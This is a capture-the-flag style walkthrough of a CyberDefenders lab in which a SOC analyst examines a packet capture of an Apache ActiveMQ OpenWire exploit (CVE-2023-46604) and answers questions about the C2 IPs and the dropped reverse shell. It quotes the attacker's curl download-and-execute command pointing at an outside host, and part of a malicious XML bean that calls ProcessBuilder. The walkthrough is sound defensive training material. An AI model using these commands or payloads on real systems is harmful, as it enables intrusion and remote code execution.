OpenWire Lab (Cyber Defenders) - Walkthrough

Friday, September 13, 2024 2:22 PM

Story:
During your shift as a tier-2 SOC analyst, you receive an escalation from a tier-1 analyst regarding a public-facing server. This server has been flagged for making outbound connections to multiple suspicious IPs. In response, you initiate the standard incident response protocol, which includes isolating the server from the network to prevent potential lateral movement or data exfiltration and obtaining a packet capture from the NSM utility for analysis. Your task is to analyze the pcap and assess for signs of malicious activity.

Q1: By identifying the C2 IP, we can block traffic to and from this IP, helping to contain the breach and prevent further data exfiltration or command execution.
Can you provide the IP of the C2 server that communicated with our server?

- To address this issue, I used the 'Conversations' tab in Wireshark to identify which IPs communicated with our server.
  From this, we confirmed that our server IP is 134.209.197.3.
  In the 'Conversations' tab, we observed significant packet traffic between our server and the IP address **146.190.21.92.**

Q2: Initial entry points are critical to trace back the attack vector. What is the port number of the service the adversary exploited?

- I filtered the C2 IP address as the source IP and our server IP as the destination IP.
  The first packets between these two are or port '**61616**' which related to OpenWire.

  The **OpenWire protocol** is a communication method used by **Apache ActiveMQ** to send messages between clients and a message broker. It helps ensure messages are delivered reliably.

Q3: Following up on the previous question, what is the name of the service found to be vulnerable?

- **Already found in the question above (Apache ActiveMQ)**

Q4: The attacker's infrastructure often involves multiple components. What is the IP of the second C2 server?

- By filtering the threat actor's IP and the destination server, I identified HTTP communication. Following the TCP stream, I found that the attacker executed the command: curl -s -o /tmp/docker http://128.199.52.72/docker; chmod +x /tmp/docker; ./tmp/docker. This indicates that **128.199.52.72** is the second command-and-control address.

Q5: Attackers usually leave traces on the disk. What is the name of the reverse shell executable dropped on the server?

- We identified the attacker's command above, which suggests that the reverse shell name is 'Docker'

Q6: What Java class was invoked by the XML file to run the exploit?

- I followed the 'HTTP stream' where we discovered the command, and we were able to see the Java class.

```
?xml version="1.0" encoding="UTF-8" ?>
   <beans xmlns="http://www.springframework.org/schema/beans"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:schemaLocation="
    http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
       <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
           <constructor-arg >
           <list>
               <!--value>open</value>
               <value>-a</value>
```

Q7: To better understand the specific security flaw exploited, can you identify the CVE identifier associated with this vulnerability?

- **CVE-2023-46604** is a deserialization vulnerability that exists in Apache ActiveMQ's

OpenWire protocol. This flaw can be exploited by an attacker to execute arbitrary code on the server where ActiveMQ is running. The exploit script in this repository automates the process of sending a crafted request to the server to trigger the vulnerability

Q8: What is the vulnerable Java method and class that allows an attacker to run arbitrary code? (Format: Class.Method)

- Found the answer in this article https://www.vicarius.io/vsociety/posts/apache-activemq-rce-cve-2023-46604